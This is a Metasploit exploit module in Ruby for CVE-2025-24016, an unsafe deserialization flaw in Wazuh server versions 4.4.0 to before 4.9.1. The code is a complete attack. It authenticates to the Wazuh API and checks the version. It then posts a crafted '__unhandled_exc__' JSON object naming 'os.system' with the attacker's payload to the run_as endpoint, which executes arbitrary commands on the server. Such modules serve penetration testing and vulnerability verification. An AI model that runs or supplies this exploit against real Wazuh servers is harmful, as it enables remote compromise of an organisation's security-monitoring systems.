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class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wazuh server remote code execution caused by an unsafe deserialization vulnerability.',
'Description' => %q{
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability
allows for remote code execution on Wazuh servers. DistributedAPI parameters are a serialized
as JSON and deserialized using `as_wazuh_object` (in `framework/wazuh/core/cluster/common.py`).
If an attacker manages to inject an unsanitized dictionary in DAPI request/response, they can
forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh
servers in the cluster) or, in certain configurations, even by a compromised agent.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>',
'DanielFi https://github.com/DanielFi',
],
'References' => [
['CVE', '2025-24016'],
['URL', 'https://github.com/wazuh/wazuh/security/advisories/GHSA-hcrc-79hj-m3qh'],
['URL', 'https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-02-10',
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 55000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the wazuh manager', '/']),
OptString.new('API_USER', [true, 'Wazuh API user', 'wazuh-wui']),
OptString.new('API_PWD', [true, 'Wazuh API password', 'MyS3cr37P450r.*-'])
])
end
def get_api_token
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
basic_auth = "Basic #{auth}"
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate'),
'headers' => {
'Authorization' => basic_auth.to_s
}
})
return unless res&.code == 200 && res.body.include?('token')
res_json = res.get_json_document
res_json['data']['token'] unless res_json.blank?
end
def get_wazuh_version(api_token)
api_auth = "Bearer #{api_token}"
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => {
'Authorization' => api_auth.to_s
}
})
return unless res&.code == 200 && res.body.include?('api_version')
res_json = res.get_json_document
res_json['data']['api_version'] unless res_json.blank?
end
def execute_command(cmd, _opts = {})
post_data = {
__unhandled_exc__:
{
__class__: 'os.system',
__args__: [ cmd.to_s ]
}
}.to_json
auth = Base64.strict_encode64("#{datastore['API_USER']}:#{datastore['API_PWD']}")
basic_auth = "Basic #{auth}"
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'security', 'user', 'authenticate', 'run_as'),
'ctype' => 'application/json',
'headers' => {
'Authorization' => basic_auth.to_s
},
'data' => post_data.to_s
})
end
def check
api_token = get_api_token
return CheckCode::Unknown('Can not access the Wazuh API with provided credentials.') if api_token.nil?
version = get_wazuh_version(api_token)
return CheckCode::Detected('Can not determine the Wazuh version.') if version.nil?
version = Rex::Version.new(version)
unless version >= Rex::Version.new('4.4.0') && version < Rex::Version.new('4.9.1')
return CheckCode::Safe("Wazuh version #{version}")
end
CheckCode::Appears("Wazuh version #{version}")
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_command(payload.encoded)
end
end
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